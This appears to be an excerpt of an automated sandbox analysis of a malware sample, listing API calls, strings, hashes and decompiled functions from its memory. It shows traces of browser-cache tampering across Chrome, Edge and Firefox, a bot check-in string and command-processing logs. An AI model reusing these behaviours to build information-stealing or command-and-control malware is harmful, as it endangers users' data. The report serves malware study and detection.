DeleteFileW.KERNEL32(?,00000000,cache2\entries\*.*,?,00000000,00000000,00000001), ref: 0235B2F4
HeapFree.KERNEL32(00000000,?), ref: 0235B302
WaitForSingleObject.KERNEL32(00000000), ref: 0235B317
HeapFree.KERNEL32(00000000,00000000), ref: 0235B329
HeapFree.KERNEL32(00000000,00000000), ref: 0235B33D
RtlExitUserThread.NTDLL(?,%userprofile%\AppData\Local\), ref: 0235B353

Strings

Google\Chrome\User Data\Default, xrefs: 0235B257
Mozilla\Firefox\Profiles, xrefs: 0235B2A9
Microsoft\Edge\User Data\Default, xrefs: 0235B287
%userprofile%\AppData\Local\, xrefs: 0235B210
cache2\entries\*.*, xrefs: 0235B2C7
cache, xrefs: 0235B266, 0235B26B, 0235B293
, xrefs: 0235B229

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: ErrorHeapLast$Free$ObjectSingleWait$Allocate$ExitThreadUser$DeleteFileMutexReleaselstrcpynlstrlenmemcpymemset
String ID: $%userprofile%\AppData\Local\$Google\Chrome\User Data\Default$Microsoft\Edge\User Data\Default$Mozilla\Firefox\Profiles$cache$cache2\entries\*.*
API String ID: 2341725510-232458014
Opcode ID: 1c75d92a48d0f291825692f1376d4da6c92c6410da789e8abb871b4fc9c8f7f8
Instruction ID: 0252b731e110dff9554ae169bac52a308ee470b59c2b95d1afc9df2b6a70ebe8
Opcode Fuzzy Hash: 1c75d92a48d0f291825692f1376d4da6c92c6410da789e8abb871b4fc9c8f7f8
Instruction Fuzzy Hash: 08D189B1944311AFC7209F65CC48E2BBBEDFF84B58F008929F99A92150D771E919CF62

Uniqueness

Uniqueness Score: -1.00%

Function 0235965F, Relevance: 56.2, APIs: 26, Strings: 6, Instructions: 218filememoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00001000,00000000), ref: 0235967D
CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000004,00000080,00000000), ref: 023596A0
StrRChrA.SHLWAPI(?,00000000,0000005C), ref: 023596B8
wsprintfA.USER32 ref: 023596DE
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 023596EF
wsprintfA.USER32 ref: 0235970D
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0235971E
GetFileAttributesA.KERNEL32(00000008,?,?,?,?,?,?,?), ref: 02359723
wsprintfA.USER32 ref: 02359738
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 02359749
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 02359757
CloseHandle.KERNEL32(?), ref: 023598C5
GetLastError.KERNEL32 ref: 023598CD
HeapFree.KERNEL32(00000000,?), ref: 023598E0

Strings

"%s", xrefs: 02359730
.set CabinetName1="%s", xrefs: 02359705
*.*, xrefs: 023597B6
.set DestinationDir="%S", xrefs: 02359827, 02359840
.set MaxDiskSize=0.set DiskDirectory1="%s", xrefs: 023596D6
"%S", xrefs: 0235985E

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: File$Writewsprintf$ErrorHeapLast$AllocateAttributesCloseCreateFreeHandle
String ID: "%S"$"%s"$*.*$.set CabinetName1="%s"$.set DestinationDir="%S"$.set MaxDiskSize=0.set DiskDirectory1="%s"
API String ID: 3254920416-2937155979
Opcode ID: a26cc38b57a2e8fd305f1900ace56709ea356fd62777839e98355c4a1cf7fc0b
Instruction ID: 049ba4ab1bd0fbe1e287badd725ed004f91148092860bd2102aeb0b848aec1af
Opcode Fuzzy Hash: a26cc38b57a2e8fd305f1900ace56709ea356fd62777839e98355c4a1cf7fc0b
Instruction Fuzzy Hash: D081F3B0D40219EFDB019F94DC89EAEBB7DFF08344F008865F916A6261D7359A65CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 003D3830, Relevance: 49.1, APIs: 15, Strings: 13, Instructions: 95
libraryCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E003D3830() {
				int _v8;
				intOrPtr _t4;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				intOrPtr _t14;
				intOrPtr _t15;
				intOrPtr _t16;
				intOrPtr _t17;
				intOrPtr _t18;
				intOrPtr _t19;
				intOrPtr _t20;
				struct HINSTANCE__* _t21;
				intOrPtr _t29;
				intOrPtr _t31;
				intOrPtr _t33;

				_t31 = _t33;
				_t4 =  *0x3da230; // 0x3db744
				if( *((char*)(_t4 + 0xc)) == 0) {
					return _t4;
				} else {
					_v8 = SetErrorMode(0x8000);
					_push(_t31);
					_push(0x3d3996);
					_push( *[fs:eax]);
					 *[fs:eax] = _t33;
					if( *0x3dbbac == 0) {
						_t21 = GetModuleHandleA("USER32");
						_push("WINNLSEnableIME");
						_push(_t21);
						L00386224();
						 *0x3dbbac = _t21;
					}
					if( *0x3d9dbc == 0) {
						 *0x3d9dbc = LoadLibraryA("imm32.dll");
						if( *0x3d9dbc != 0) {
							_push("ImmGetContext");
							_t11 =  *0x3d9dbc; // 0x0
							_push(_t11);
							L00386224();
							 *0x3dbbb0 = _t11;
							_push("ImmReleaseContext");
							_t12 =  *0x3d9dbc; // 0x0
							_push(_t12);
							L00386224();
							 *0x3dbbb4 = _t12;
							_push("ImmGetConversionStatus");
							_t13 =  *0x3d9dbc; // 0x0
							_push(_t13);
							L00386224();
							 *0x3dbbb8 = _t13;
							_push("ImmSetConversionStatus");
							_t14 =  *0x3d9dbc; // 0x0
							_push(_t14);
							L00386224();
							 *0x3dbbbc = _t14;
							_push("ImmSetOpenStatus");
							_t15 =  *0x3d9dbc; // 0x0
							_push(_t15);
							L00386224();
							 *0x3dbbc0 = _t15;
							_push("ImmSetCompositionWindow");
							_t16 =  *0x3d9dbc; // 0x0
							_push(_t16);
							L00386224();
							 *0x3dbbc4 = _t16;
							_push("ImmSetCompositionFontA");
							_t17 =  *0x3d9dbc; // 0x0
							_push(_t17);
							L00386224();
							 *0x3dbbc8 = _t17;
							_push("ImmGetCompositionStringA");
							_t18 =  *0x3d9dbc; // 0x0
							_push(_t18);
							L00386224();
							 *0x3dbbcc = _t18;
							_push("ImmIsIME");
							_t19 =  *0x3d9dbc; // 0x0
							_push(_t19);
							L00386224();
							 *0x3dbbd0 = _t19;
							_push("ImmNotifyIME");
							_t20 =  *0x3d9dbc; // 0x0
							_push(_t20);
							L00386224();
							 *0x3dbbd4 = _t20;
						}
					}
					_pop(_t29);
					 *[fs:eax] = _t29;
					_push(0x3d399d);
					return SetErrorMode(_v8);
				}
			}

0x003d3831
0x003d3835
0x003d383e
0x003d39a0
0x003d3844
0x003d384e
0x003d3853
0x003d3854
0x003d3859
0x003d385c
0x003d3866
0x003d386d
0x003d3874
0x003d3879
0x003d387a
0x003d387f
0x003d387f
0x003d388b
0x003d389b
0x003d38a7
0x003d38ad
0x003d38b2
0x003d38b7
0x003d38b8
0x003d38bd
0x003d38c2
0x003d38c7
0x003d38cc
0x003d38cd
0x003d38d2
0x003d38d7
0x003d38dc
0x003d38e1
0x003d38e2
0x003d38e7
0x003d38ec
0x003d38f1
0x003d38f6
0x003d38f7
0x003d38fc
0x003d3901
0x003d3906
0x003d390b
0x003d390c
0x003d3911
0x003d3916
0x003d391b
0x003d3920
0x003d3921
0x003d3926
0x003d392b
0x003d3930
0x003d3935
0x003d3936
0x003d393b
0x003d3940
0x003d3945
0x003d394a
0x003d394b
0x003d3950
0x003d3955
0x003d395a
0x003d395f
0x003d3960
0x003d3965
0x003d396a
0x003d396f
0x003d3974
0x003d3975
0x003d397a
0x003d397a
0x003d38a7
0x003d3981
0x003d3984
0x003d3987
0x003d3995
0x003d3995

APIs

SetErrorMode.KERNEL32(00008000), ref: 003D3849
GetModuleHandleA.KERNEL32(USER32,00000000,003D3996,?,00008000), ref: 003D386D
70D9FFF6.KERNEL32(00000000,WINNLSEnableIME,USER32,00000000,003D3996,?,00008000), ref: 003D387A
LoadLibraryA.KERNEL32(imm32.dll), ref: 003D3896
70D9FFF6.KERNEL32(00000000,ImmGetContext,imm32.dll,00000000,003D3996,?,00008000), ref: 003D38B8
70D9FFF6.KERNEL32(00000000,ImmReleaseContext,00000000,ImmGetContext,imm32.dll,00000000,003D3996,?,00008000), ref: 003D38CD
70D9FFF6.KERNEL32(00000000,ImmGetConversionStatus,00000000,ImmReleaseContext,00000000,ImmGetContext,imm32.dll,00000000,003D3996,?,00008000), ref: 003D38E2
70D9FFF6.KERNEL32(00000000,ImmSetConversionStatus,00000000,ImmGetConversionStatus,00000000,ImmReleaseContext,00000000,ImmGetContext,imm32.dll,00000000,003D3996,?,00008000), ref: 003D38F7
70D9FFF6.KERNEL32(00000000,ImmSetOpenStatus,00000000,ImmSetConversionStatus,00000000,ImmGetConversionStatus,00000000,ImmReleaseContext,00000000,ImmGetContext,imm32.dll,00000000,003D3996,?,00008000), ref: 003D390C
70D9FFF6.KERNEL32(00000000,ImmSetCompositionWindow,00000000,ImmSetOpenStatus,00000000,ImmSetConversionStatus,00000000,ImmGetConversionStatus,00000000,ImmReleaseContext,00000000,ImmGetContext,imm32.dll,00000000,003D3996), ref: 003D3921
70D9FFF6.KERNEL32(00000000,ImmSetCompositionFontA,00000000,ImmSetCompositionWindow,00000000,ImmSetOpenStatus,00000000,ImmSetConversionStatus,00000000,ImmGetConversionStatus,00000000,ImmReleaseContext,00000000,ImmGetContext,imm32.dll,00000000), ref: 003D3936
70D9FFF6.KERNEL32(00000000,ImmGetCompositionStringA,00000000,ImmSetCompositionFontA,00000000,ImmSetCompositionWindow,00000000,ImmSetOpenStatus,00000000,ImmSetConversionStatus,00000000,ImmGetConversionStatus,00000000,ImmReleaseContext,00000000,ImmGetContext), ref: 003D394B
70D9FFF6.KERNEL32(00000000,ImmIsIME,00000000,ImmGetCompositionStringA,00000000,ImmSetCompositionFontA,00000000,ImmSetCompositionWindow,00000000,ImmSetOpenStatus,00000000,ImmSetConversionStatus,00000000,ImmGetConversionStatus,00000000,ImmReleaseContext), ref: 003D3960
70D9FFF6.KERNEL32(00000000,ImmNotifyIME,00000000,ImmIsIME,00000000,ImmGetCompositionStringA,00000000,ImmSetCompositionFontA,00000000,ImmSetCompositionWindow,00000000,ImmSetOpenStatus,00000000,ImmSetConversionStatus,00000000,ImmGetConversionStatus), ref: 003D3975
SetErrorMode.KERNEL32(?,003D399D,00008000), ref: 003D3990

Strings

ImmReleaseContext, xrefs: 003D38C2
ImmSetCompositionFontA, xrefs: 003D392B
WINNLSEnableIME, xrefs: 003D3874
imm32.dll, xrefs: 003D3891
ImmIsIME, xrefs: 003D3955
ImmSetOpenStatus, xrefs: 003D3901
ImmGetCompositionStringA, xrefs: 003D3940
USER32, xrefs: 003D3868
ImmGetContext, xrefs: 003D38AD
ImmSetConversionStatus, xrefs: 003D38EC
ImmNotifyIME, xrefs: 003D396A
ImmSetCompositionWindow, xrefs: 003D3916
ImmGetConversionStatus, xrefs: 003D38D7

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorMode$HandleLibraryLoadModule
String ID: ImmGetCompositionStringA$ImmGetContext$ImmGetConversionStatus$ImmIsIME$ImmNotifyIME$ImmReleaseContext$ImmSetCompositionFontA$ImmSetCompositionWindow$ImmSetConversionStatus$ImmSetOpenStatus$USER32$WINNLSEnableIME$imm32.dll
API String ID: 219617915-3950384806
Opcode ID: ee79f56e9f44a59daed1969fca7b81e206a847aa5c852acab4f6f49cdfbdbaad
Instruction ID: b0ce075313a01671443f2abb1d6d8797b8807395d036c94a20767be9b52cf53f
Opcode Fuzzy Hash: ee79f56e9f44a59daed1969fca7b81e206a847aa5c852acab4f6f49cdfbdbaad
Instruction Fuzzy Hash: F831B5B2A46344AEDA13FBB8FC56AA5BBBDB704704F41589BF0418B3A5D7B49900CB11

Uniqueness

Uniqueness Score: -1.00%

Function 02357E5C, Relevance: 47.6, APIs: 15, Strings: 12, Instructions: 377memorystringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(,?,0236710C), ref: 02357EB4
RtlAllocateHeap.NTDLL(00000000,02367075,?), ref: 02357F4E
lstrcpyn.KERNEL32(00000000,?,02367075,?,0236710C), ref: 02357F63
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 02357F7F
StrChrA.SHLWAPI(?,00000020), ref: 02358057
StrChrA.SHLWAPI(00000001,00000020), ref: 02358068
lstrlen.KERNEL32(00000000,?,0236710C), ref: 0235807C
memmove.NTDLL(02367075,?,00000001,?,0236710C), ref: 0235808C
lstrlen.KERNEL32(?,?,00000000,00000000,?,02367074,?,?,0236710C), ref: 023580AF
RtlAllocateHeap.NTDLL(00000000,?), ref: 023580D5
memcpy.NTDLL(00000000,?,?,?,0236710C), ref: 023580E9
memcpy.NTDLL(02367074,?,?,?,0236710C), ref: 02358109
HeapFree.KERNEL32(00000000,02367074), ref: 02358145
RtlAllocateHeap.NTDLL(00000000,00000000), ref: 0235820B
HeapFree.KERNEL32(00000000,00000000,?), ref: 02358253

Strings

User-Agent:, xrefs: 02357F2D
POST, xrefs: 02357E8F
OPTI, xrefs: 0235804C
identity, xrefs: 02358097
GET , xrefs: 02357E81
ocsp, xrefs: 02357FBE
, xrefs: 02357EAF, 02357EE0
Accept-Encoding:, xrefs: 0235809C
PUT , xrefs: 02357E88
OPTI, xrefs: 02357E96
Content-Type:, xrefs: 02357FB1
GET , xrefs: 02358044

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Heap$AllocateFreelstrlen$memcpy$lstrcpynmemmove
String ID: $ identity$Accept-Encoding:$Content-Type:$GET $GET $OPTI$OPTI$POST$PUT $User-Agent:$ocsp
API String ID: 3227826163-2797658706
Opcode ID: da4427e72f1ae01e5692d22db1cfe4821b2d047cc2bcf0e7afde8db82523b683
Instruction ID: 7bba4aa07caccd5615978cb58ae57eec2c06546d82aa240872c8e315e726e5d0
Opcode Fuzzy Hash: da4427e72f1ae01e5692d22db1cfe4821b2d047cc2bcf0e7afde8db82523b683
Instruction Fuzzy Hash: 10D15A71A00215EFDB25DFA8C889FADBBB9FF04744F148598ED19AB250CB30EA51CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0234A3F0, Relevance: 42.3, APIs: 28, Instructions: 263memorystringCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 0234A411
GetTickCount.KERNEL32 ref: 0234A42B
wsprintfA.USER32 ref: 0234A47E
QueryPerformanceFrequency.KERNEL32(?), ref: 0234A48A
QueryPerformanceCounter.KERNEL32(?), ref: 0234A495
_aulldiv.NTDLL(?,?,?,?), ref: 0234A4AB
wsprintfA.USER32 ref: 0234A4C1
wsprintfA.USER32 ref: 0234A4E6
HeapFree.KERNEL32(00000000,?), ref: 0234A4F9
wsprintfA.USER32 ref: 0234A51D
HeapFree.KERNEL32(00000000,?), ref: 0234A530
wsprintfA.USER32 ref: 0234A56A
wsprintfA.USER32 ref: 0234A58E
lstrcat.KERNEL32(?,726F7426), ref: 0234A5C6

Part of subcall function 0234FA80: WaitForSingleObject.KERNEL32(00000000,00000000), ref: 0234FB40

RtlAllocateHeap.NTDLL(00000000,00000800), ref: 0234A5E0
GetTickCount.KERNEL32 ref: 0234A5F0
RtlEnterCriticalSection.NTDLL(04908F48), ref: 0234A604
RtlLeaveCriticalSection.NTDLL(04908F48), ref: 0234A622
StrTrimA.SHLWAPI(00000000,023633F4), ref: 0234A65B
lstrcpy.KERNEL32(00000000,?), ref: 0234A683
lstrcpy.KERNEL32(00000000,00000000), ref: 0234A68A
lstrcat.KERNEL32(00000000,?), ref: 0234A691
lstrcat.KERNEL32(00000000,?), ref: 0234A698
HeapFree.KERNEL32(00000000,?,00000000), ref: 0234A713
HeapFree.KERNEL32(00000000,?,00000000), ref: 0234A725
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0234A734
HeapFree.KERNEL32(00000000,00000000), ref: 0234A746
HeapFree.KERNEL32(00000000,?), ref: 0234A758

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Heap$Free$wsprintf$lstrcat$AllocateCountCriticalPerformanceQuerySectionTicklstrcpy$CounterEnterFrequencyLeaveObjectSingleTrimWait_aulldiv
String ID:
API String ID: 3322690043-0
Opcode ID: d0f206b7efe44a462ff01436e84cf8069a15bc182368f377c84adb5c03ddb01f
Instruction ID: 8c20e46599157aeda2f038fd00c816c7dc5a80ef43f93bf629adeb887e644d08
Opcode Fuzzy Hash: d0f206b7efe44a462ff01436e84cf8069a15bc182368f377c84adb5c03ddb01f
Instruction Fuzzy Hash: 66A18AB1980201AFDB11DF68DC8DE5A7BFDEB48348F048869F944D2261DB35E8698F91

Uniqueness

Uniqueness Score: -1.00%

Function 02344928, Relevance: 42.2, APIs: 22, Strings: 2, Instructions: 249memorystringCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 0234495E
wsprintfA.USER32 ref: 023449BF
wsprintfA.USER32 ref: 02344A05
wsprintfA.USER32 ref: 02344A26
lstrcat.KERNEL32(00000000,726F7426), ref: 02344A57
wsprintfA.USER32 ref: 02344A84
HeapFree.KERNEL32(00000000,?), ref: 02344A97
wsprintfA.USER32 ref: 02344AB6
HeapFree.KERNEL32(00000000,?), ref: 02344AC7
RtlAllocateHeap.NTDLL(00000000,00000800), ref: 02344AE1
RtlEnterCriticalSection.NTDLL(04908F48), ref: 02344AFA
RtlLeaveCriticalSection.NTDLL(04908F48), ref: 02344B18

Part of subcall function 0235ADFF: lstrlen.KERNEL32(00000000,00000000,754294D8,76712B62,?,?,0234A638,00000000,04908F88), ref: 0235AE2A
Part of subcall function 0235ADFF: lstrlen.KERNEL32(?,?,?,0234A638,00000000,04908F88), ref: 0235AE32
Part of subcall function 0235ADFF: strcpy.NTDLL ref: 0235AE49
Part of subcall function 0235ADFF: lstrcat.KERNEL32(00000000,?), ref: 0235AE54
Part of subcall function 0235ADFF: StrTrimA.SHLWAPI(00000000,=), ref: 0235AE71

StrTrimA.SHLWAPI(00000000,023633F4), ref: 02344B4E

Part of subcall function 0235172A: lstrlen.KERNEL32(?,00000000,00000000,0234A66D,00000000), ref: 02351736
Part of subcall function 0235172A: lstrlen.KERNEL32(?), ref: 0235173E
Part of subcall function 0235172A: lstrcpy.KERNEL32(00000000,?), ref: 02351755
Part of subcall function 0235172A: lstrcat.KERNEL32(00000000,?), ref: 02351760

lstrcpy.KERNEL32(00000000,?), ref: 02344B77
lstrcpy.KERNEL32(00000000,00000000), ref: 02344B7E
lstrcat.KERNEL32(00000000,?), ref: 02344B8B
lstrcat.KERNEL32(00000000,?), ref: 02344B92
HeapFree.KERNEL32(00000000,?,00000000), ref: 02344C12
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 02344C21
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 02344C2C
HeapFree.KERNEL32(00000000,00000000), ref: 02344C3A
HeapFree.KERNEL32(00000000,00000000), ref: 02344C45

Strings

version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s, xrefs: 023449B9
EMPTY, xrefs: 0234492D

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Heap$Free$lstrcatwsprintf$lstrlen$lstrcpy$AllocateCriticalSectionTrim$EnterLeavestrcpy
String ID: EMPTY$version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s
API String ID: 697741160-304588751
Opcode ID: dd71641bd903e55feb76f70426bdc13d19ba54b5644295b837959a2207e3252f
Instruction ID: 0880e24d5a8fe7843293716e4a8633655839e6adfdb32ffb04953f666699790c
Opcode Fuzzy Hash: dd71641bd903e55feb76f70426bdc13d19ba54b5644295b837959a2207e3252f
Instruction Fuzzy Hash: 7991ACB1984204AFD711DF68DC49F1ABBECEB48744F0488A9F949D7261DB34E824CF91

Uniqueness

Uniqueness Score: -1.00%

Function 0038D9F4, Relevance: 42.1, APIs: 1, Strings: 23, Instructions: 141
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0038D9F4() {
				struct HINSTANCE__* _v8;
				intOrPtr _t46;
				void* _t91;

				_v8 = GetModuleHandleA("oleaut32.dll");
				 *0x3db7a8 = E0038D9C8("VariantChangeTypeEx", E0038D564, _t91);
				 *0x3db7ac = E0038D9C8("VarNeg", E0038D594, _t91);
				 *0x3db7b0 = E0038D9C8("VarNot", E0038D594, _t91);
				 *0x3db7b4 = E0038D9C8("VarAdd", E0038D5A0, _t91);
				 *0x3db7b8 = E0038D9C8("VarSub", E0038D5A0, _t91);
				 *0x3db7bc = E0038D9C8("VarMul", E0038D5A0, _t91);
				 *0x3db7c0 = E0038D9C8("VarDiv", E0038D5A0, _t91);
				 *0x3db7c4 = E0038D9C8("VarIdiv", E0038D5A0, _t91);
				 *0x3db7c8 = E0038D9C8("VarMod", E0038D5A0, _t91);
				 *0x3db7cc = E0038D9C8("VarAnd", E0038D5A0, _t91);
				 *0x3db7d0 = E0038D9C8("VarOr", E0038D5A0, _t91);
				 *0x3db7d4 = E0038D9C8("VarXor", E0038D5A0, _t91);
				 *0x3db7d8 = E0038D9C8("VarCmp", E0038D5AC, _t91);
				 *0x3db7dc = E0038D9C8("VarI4FromStr", E0038D5B8, _t91);
				 *0x3db7e0 = E0038D9C8("VarR4FromStr", E0038D624, _t91);
				 *0x3db7e4 = E0038D9C8("VarR8FromStr", E0038D690, _t91);
				 *0x3db7e8 = E0038D9C8("VarDateFromStr", E0038D6FC, _t91);
				 *0x3db7ec = E0038D9C8("VarCyFromStr", E0038D768, _t91);
				 *0x3db7f0 = E0038D9C8("VarBoolFromStr", E0038D7D4, _t91);
				 *0x3db7f4 = E0038D9C8("VarBstrFromCy", E0038D854, _t91);
				 *0x3db7f8 = E0038D9C8("VarBstrFromDate", E0038D8C4, _t91);
				_t46 = E0038D9C8("VarBstrFromBool", E0038D934, _t91);
				 *0x3db7fc = _t46;
				return _t46;
			}

0x0038da02
0x0038da16
0x0038da2c
0x0038da42
0x0038da58
0x0038da6e
0x0038da84
0x0038da9a
0x0038dab0
0x0038dac6
0x0038dadc
0x0038daf2
0x0038db08
0x0038db1e
0x0038db34
0x0038db4a
0x0038db60
0x0038db76
0x0038db8c
0x0038dba2
0x0038dbb8
0x0038dbce
0x0038dbde
0x0038dbe4
0x0038dbeb

APIs

GetModuleHandleA.KERNEL32(oleaut32.dll), ref: 0038D9FD

Part of subcall function 0038D9C8: 70D9FFF6.KERNEL32(00000000), ref: 0038D9E1

Strings

oleaut32.dll, xrefs: 0038D9F8
VarAdd, xrefs: 0038DA4D
VarI4FromStr, xrefs: 0038DB29
VarXor, xrefs: 0038DAFD
VarIdiv, xrefs: 0038DAA5
VarDiv, xrefs: 0038DA8F
VarSub, xrefs: 0038DA63
VarNot, xrefs: 0038DA37
VarCmp, xrefs: 0038DB13
VarBstrFromDate, xrefs: 0038DBC3
VarDateFromStr, xrefs: 0038DB6B
VarR4FromStr, xrefs: 0038DB3F
VarMul, xrefs: 0038DA79
VarR8FromStr, xrefs: 0038DB55
VarBstrFromCy, xrefs: 0038DBAD
VarAnd, xrefs: 0038DAD1
VarBoolFromStr, xrefs: 0038DB97
VarMod, xrefs: 0038DABB
VarBstrFromBool, xrefs: 0038DBD9
VariantChangeTypeEx, xrefs: 0038DA0B
VarCyFromStr, xrefs: 0038DB81
VarNeg, xrefs: 0038DA21
VarOr, xrefs: 0038DAE7

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: HandleModule
String ID: VarAdd$VarAnd$VarBoolFromStr$VarBstrFromBool$VarBstrFromCy$VarBstrFromDate$VarCmp$VarCyFromStr$VarDateFromStr$VarDiv$VarI4FromStr$VarIdiv$VarMod$VarMul$VarNeg$VarNot$VarOr$VarR4FromStr$VarR8FromStr$VarSub$VarXor$VariantChangeTypeEx$oleaut32.dll
API String ID: 4139908857-1918263038
Opcode ID: 4c30506d57e75c5f703728dbd437eb0669afab41f59f8bc76c9fc1a40e2809f9
Instruction ID: 8ff32779f0fe2e81973bcae1482b76d7a90f395600acc89a24277ed3fb14612e
Opcode Fuzzy Hash: 4c30506d57e75c5f703728dbd437eb0669afab41f59f8bc76c9fc1a40e2809f9
Instruction Fuzzy Hash: 3B41DE696553089B93077B6D7801826BBEDDA857207A240FBF404CF7D6EF74AC418B29

Uniqueness

Uniqueness Score: -1.00%

Function 0234630C, Relevance: 38.8, APIs: 18, Strings: 4, Instructions: 261memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 02353A64: RegQueryValueExA.KERNEL32(?,?,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,?,0234632C,LastTask), ref: 02353A9C
Part of subcall function 02353A64: RtlAllocateHeap.NTDLL(00000000,?), ref: 02353AB0
Part of subcall function 02353A64: RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,?,0234632C,LastTask), ref: 02353ACA
Part of subcall function 02353A64: RegCloseKey.ADVAPI32(?,?,00000000,?,?,00000000,?,?,?,0234632C,LastTask,?,?), ref: 02353AF4

HeapFree.KERNEL32(00000000,?,LastTask), ref: 0234634C
RtlAllocateHeap.NTDLL(00000000,00010000,LastTask), ref: 0234636A
HeapFree.KERNEL32(00000000,00000000,0000011A), ref: 02346399
HeapFree.KERNEL32(00000000,00000000,0000011B), ref: 0234640A
RtlAllocateHeap.NTDLL(00000000,00000400,?), ref: 02346482
wsprintfA.USER32 ref: 02346497
lstrlen.KERNEL32(00000000,00000000), ref: 023464A2
HeapFree.KERNEL32(00000000,00000000,0000010D), ref: 023464BC
RtlAllocateHeap.NTDLL(00000000,00000400,LastTask), ref: 0234654A
wsprintfA.USER32 ref: 0234655E
lstrlen.KERNEL32(00000000,00000000), ref: 02346569
HeapFree.KERNEL32(00000000,00000000,0000010D), ref: 02346583
HeapFree.KERNEL32(00000000,?,LastTask), ref: 023465A5
RtlAllocateHeap.NTDLL(00000000,00000400,?), ref: 023465C0
wsprintfA.USER32 ref: 023465D0
lstrlen.KERNEL32(00000000,00000000), ref: 023465DB

Part of subcall function 02356121: lstrlen.KERNEL32(02341889,00000000,?,?,?,?,02341889,00000126,00000000,?,00000000), ref: 02356151
Part of subcall function 02356121: RtlAllocateHeap.NTDLL(00000000,00000000,00000000), ref: 02356167
Part of subcall function 02356121: memcpy.NTDLL(00000010,02341889,00000000,?,?,02341889,00000126,00000000), ref: 0235619D
Part of subcall function 02356121: memcpy.NTDLL(00000010,00000000,00000126,?,?,02341889,00000126), ref: 023561B8
Part of subcall function 02356121: CallNamedPipeA.KERNEL32(00000000,00000000,?,00000010,00000119,00000001), ref: 023561D6
Part of subcall function 02356121: GetLastError.KERNEL32(?,?,02341889,00000126), ref: 023561E0
Part of subcall function 02356121: HeapFree.KERNEL32(00000000,00000000), ref: 02356206

HeapFree.KERNEL32(00000000,00000000,0000010D), ref: 023465F5
HeapFree.KERNEL32(00000000,?,0000010E), ref: 02346616

Strings

Cmd %s processed: %u, xrefs: 02346558
Cmd %u parsing: %u, xrefs: 02346491, 023465CA
LastTask, xrefs: 0234631F, 023464CC
log, xrefs: 023465FB

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Heap$Free$Allocate$lstrlen$wsprintf$QueryValuememcpy$CallCloseErrorLastNamedPipe
String ID: Cmd %s processed: %u$Cmd %u parsing: %u$LastTask$log
API String ID: 3130754786-3177047370
Opcode ID: 2d994f17240c5fc4c4e7c4570ad9e44bfbc40775dcc5eadf66cb2f23079989c6
Instruction ID: 5e22d881d5a2ea99c5860623dc53a2dec12770b4faa0f9d5c7fa58ceb748b228
Opcode Fuzzy Hash: 2d994f17240c5fc4c4e7c4570ad9e44bfbc40775dcc5eadf66cb2f23079989c6
Instruction Fuzzy Hash: 829180B1D40218BFDB209F95DC8ADAEBBBDEB05744F0088A9E611A2251CB356D65CF60

Uniqueness

Uniqueness Score: -1.00%

Function 003A0D34, Relevance: 37.7, APIs: 25, Instructions: 248
windowCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E003A0D34(struct HDC__* __eax, void* __ebx, int __ecx, int __edx, void* __edi, void* __esi, int _a4, int _a8, struct HDC__* _a12, int _a16, int _a20, int _a24, int _a28, struct HDC__* _a32, int _a36, int _a40) {
				int _v8;
				int _v12;
				char _v13;
				struct HDC__* _v20;
				void* _v24;
				void* _v28;
				long _v32;
				long _v36;
				struct HPALETTE__* _v40;
				intOrPtr* _t78;
				struct HPALETTE__* _t89;
				struct HPALETTE__* _t95;
				int _t171;
				intOrPtr _t178;
				intOrPtr _t180;
